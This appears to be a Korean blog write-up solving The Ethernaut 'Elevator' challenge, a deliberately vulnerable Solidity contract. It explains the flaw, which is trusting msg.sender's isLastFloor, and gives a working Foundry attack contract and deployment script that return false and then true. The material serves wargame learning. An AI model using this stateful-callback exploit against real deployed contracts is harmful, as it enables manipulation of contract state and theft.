728x90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
저 top을 True로 바꾸면 된다.
그러나 goTo함수를 보면은 building.isLastFloor를 호출하는데 만약 이 함수가 True라고 하자, 그러면 False로 if문을 빠져나가서 안되고 False라고 해도 그다음 top = building.isLastFloor(floor)에서 False를 내뱉어 안될것이다.
여기서 볼 것은 Building을 msg.sender로 생성한다는 것이다.
즉, 우리가 isLastFloor을 마음대로 선언할 수 있다.
그러면 단순하게 처음 요청왔을때 False를 리턴하게 하고 두번째 왔을때 True를 리턴하게 하면 된다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/Elevator.sol";
contract Attack is Building{
uint256 public trying;
Elevator target;
constructor(Elevator _target){
trying = 0;
target = _target;
}
function goTo() external{
target.goTo(0);
}
function isLastFloor(uint256 _floor) external returns (bool) {
trying+=1;
console.log(trying);
if(trying==2){
return true;
}
else{
return false;
}
}
}
contract ElevatorSolve is Script {
Elevator target = Elevator(payable(0x8bB4eFf1bdEbEe8fd45BaB245dE2929366621F01));
function run() external{
vm.startBroadcast(vm.envUint("user_private_key"));
Attack attackContract = new Attack(target);
attackContract.goTo();
vm.stopBroadcast();
}
}
ezpz
728x90
반응형
'Web3 > The Ethernaut' 카테고리의 다른 글
[The Ethernaut] Gatekeeper One (0) | 2025.01.31 |
---|---|
[The Ethernaut] Privacy (0) | 2025.01.30 |
[The Ethernaut] Re-entrancy (1) | 2025.01.28 |
[The Ethernaut] King (0) | 2025.01.23 |
[The Ethernaut] Vault (0) | 2025.01.23 |